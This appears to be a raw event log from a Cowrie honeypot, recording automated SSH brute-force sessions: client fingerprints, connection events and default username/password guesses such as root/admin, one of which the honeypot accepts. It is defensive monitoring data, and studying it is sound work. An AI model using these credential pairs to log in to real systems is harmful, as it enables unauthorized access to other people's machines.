{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:36.659509Z","src_ip":"193.151.144.93","session":"32d8743c7135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:36.836432Z","src_ip":"193.151.144.93","session":"32d8743c7135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:37.334250Z","src_ip":"193.151.144.93","session":"32d8743c7135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:37.419602Z","src_ip":"125.94.107.91","session":"1fb1425d4e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":47716,"dst_ip":"159.203.135.109","dst_port":22,"session":"8749bb8b1e8a","protocol":"ssh","message":"New connection: 125.94.107.91:47716 (159.203.135.109:22) [session: 8749bb8b1e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:37.668532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:37.674551Z","src_ip":"125.94.107.91","session":"8749bb8b1e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:37.919211Z","src_ip":"125.94.107.91","session":"8749bb8b1e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:38.653921Z","src_ip":"125.94.107.91","session":"8749bb8b1e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:39.330832Z","src_ip":"193.151.144.93","session":"32d8743c7135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:39.903186Z","src_ip":"125.94.107.91","session":"8749bb8b1e8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":49446,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfb630b9ce0c","protocol":"ssh","message":"New connection: 125.94.107.91:49446 (159.203.135.109:22) [session: dfb630b9ce0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:40.140742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:40.149062Z","src_ip":"125.94.107.91","session":"dfb630b9ce0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:40.390860Z","src_ip":"125.94.107.91","session":"dfb630b9ce0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:41.121026Z","src_ip":"125.94.107.91","session":"dfb630b9ce0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39188,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43c70e503cc","protocol":"ssh","message":"New connection: 193.151.144.93:39188 (10.17.0.5:22) [session: f43c70e503cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.002797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.007937Z","src_ip":"193.151.144.93","session":"f43c70e503cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.181698Z","src_ip":"193.151.144.93","session":"f43c70e503cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.366193Z","src_ip":"125.94.107.91","session":"dfb630b9ce0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":51400,"dst_ip":"159.203.135.109","dst_port":22,"session":"c30135c6f2b3","protocol":"ssh","message":"New connection: 125.94.107.91:51400 (159.203.135.109:22) [session: c30135c6f2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.614975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.619989Z","src_ip":"125.94.107.91","session":"c30135c6f2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.701033Z","src_ip":"193.151.144.93","session":"f43c70e503cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:42.869281Z","src_ip":"125.94.107.91","session":"c30135c6f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:44.325466Z","src_ip":"193.151.144.93","session":"f43c70e503cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:44.331521Z","src_ip":"125.94.107.91","session":"c30135c6f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c33437b6065","protocol":"telnet","message":"New connection: 69.4.83.194:56800 (159.203.135.109:23) [session: 7c33437b6065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:44.761631Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:45.584730Z","src_ip":"125.94.107.91","session":"c30135c6f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":53980,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a6024fe0967","protocol":"ssh","message":"New connection: 125.94.107.91:53980 (159.203.135.109:22) [session: 2a6024fe0967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:45.813776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:45.818866Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:46.051523Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:46.764488Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39192,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10f215fa72b","protocol":"ssh","message":"New connection: 193.151.144.93:39192 (10.17.0.5:22) [session: d10f215fa72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:47.354128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:47.358982Z","src_ip":"193.151.144.93","session":"d10f215fa72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:47.525543Z","src_ip":"193.151.144.93","session":"d10f215fa72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:48.025428Z","src_ip":"193.151.144.93","session":"d10f215fa72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.194077Z","src_ip":"193.151.144.93","session":"d10f215fa72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.251","src_port":40518,"dst_ip":"10.17.0.5","dst_port":22,"session":"e28748eb0e20","protocol":"ssh","message":"New connection: 185.255.100.251:40518 (10.17.0.5:22) [session: e28748eb0e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.581728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.586109Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.604617Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:8d:8d:3c:3a:7c:1d:00:53:3d:42:e1:50:7b:0b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs7bpFxz7/zZ8nse6YpKU7+fl98Yf/5JZ55tu8v6tv1X/1JI1YsfyEIx4DHzWIgWS2Zn8GPGAoVDZc0TYwZCapNJsyvFEekVdm7VSCESvP/dYy8oMwNvabK7EZmVWFXkwkz62QbcWZOX/3QQvZLeHnO12p4mFvr8Xw1Y7rZHKgztKrNDOXCuuovy1nk6ts3KJqvA+jZ0WKvCd7K9ionFPH3NgkHHYlJvuxzuZ+3JAKLCVn3i0xmmPkslGcbcUkpZqcnqhLYLN0d3Wr/MGFgAnVVHZ6vejDTeyzevBbYnDTIyLQDMk84RM/WqS2iX59R72MgcegQu3d9nl+KyLTmnQZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:8d:8d:3c:3a:7c:1d:00:53:3d:42:e1:50:7b:0b:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.620716Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:8d:8d:3c:3a:7c:1d:00:53:3d:42:e1:50:7b:0b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs7bpFxz7/zZ8nse6YpKU7+fl98Yf/5JZ55tu8v6tv1X/1JI1YsfyEIx4DHzWIgWS2Zn8GPGAoVDZc0TYwZCapNJsyvFEekVdm7VSCESvP/dYy8oMwNvabK7EZmVWFXkwkz62QbcWZOX/3QQvZLeHnO12p4mFvr8Xw1Y7rZHKgztKrNDOXCuuovy1nk6ts3KJqvA+jZ0WKvCd7K9ionFPH3NgkHHYlJvuxzuZ+3JAKLCVn3i0xmmPkslGcbcUkpZqcnqhLYLN0d3Wr/MGFgAnVVHZ6vejDTeyzevBbYnDTIyLQDMk84RM/WqS2iX59R72MgcegQu3d9nl+KyLTmnQZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:49.627188Z","src_ip":"185.255.100.251","session":"e28748eb0e20","protocol":"ssh"}
